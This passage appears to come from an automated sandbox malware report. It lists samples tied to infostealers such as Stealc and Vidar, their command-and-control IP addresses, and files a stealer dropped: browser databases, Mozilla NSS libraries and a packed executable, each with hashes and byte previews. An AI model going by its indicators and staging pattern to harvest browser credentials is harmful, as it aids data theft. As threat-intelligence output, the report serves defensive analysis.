	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	186.64.114.115
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	186.64.116.115
AGROSVITUA	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	193.176.190.41
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41
	file.exe	Get hash	malicious	Stealc	Browse	193.176.190.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	sharp.exe	Get hash	malicious	Unknown	Browse	186.64.114.115
	sharp.exe	Get hash	malicious	Unknown	Browse	186.64.114.115
	SecuriteInfo.com.FileRepMalware.18455.13769.exe	Get hash	malicious	GuLoader	Browse	186.64.114.115
	10OyRBv3Qo.hta	Get hash	malicious	Unknown	Browse	186.64.114.115
	file.exe	Get hash	malicious	Vidar	Browse	186.64.114.115
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	186.64.114.115
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	186.64.114.115
	Thermo Fisher RFQ_TFS-1207.com.exe	Get hash	malicious	GuLoader	Browse	186.64.114.115
	file.exe	Get hash	malicious	Vidar	Browse	186.64.114.115
	Invoice.wsf	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	186.64.114.115

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\HJJDGHCBGD.exe	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\AAKKKEBFCGDBGDGCFHCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAEHIEBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBKEHDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJDGHCBGD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\IEHDBGDHDAECBGDHJKFIDGCBFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIJECAEGDHIDHJKKKKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKJDAEBFCBKECBGDBFCFBKKKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kqS23MOytx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
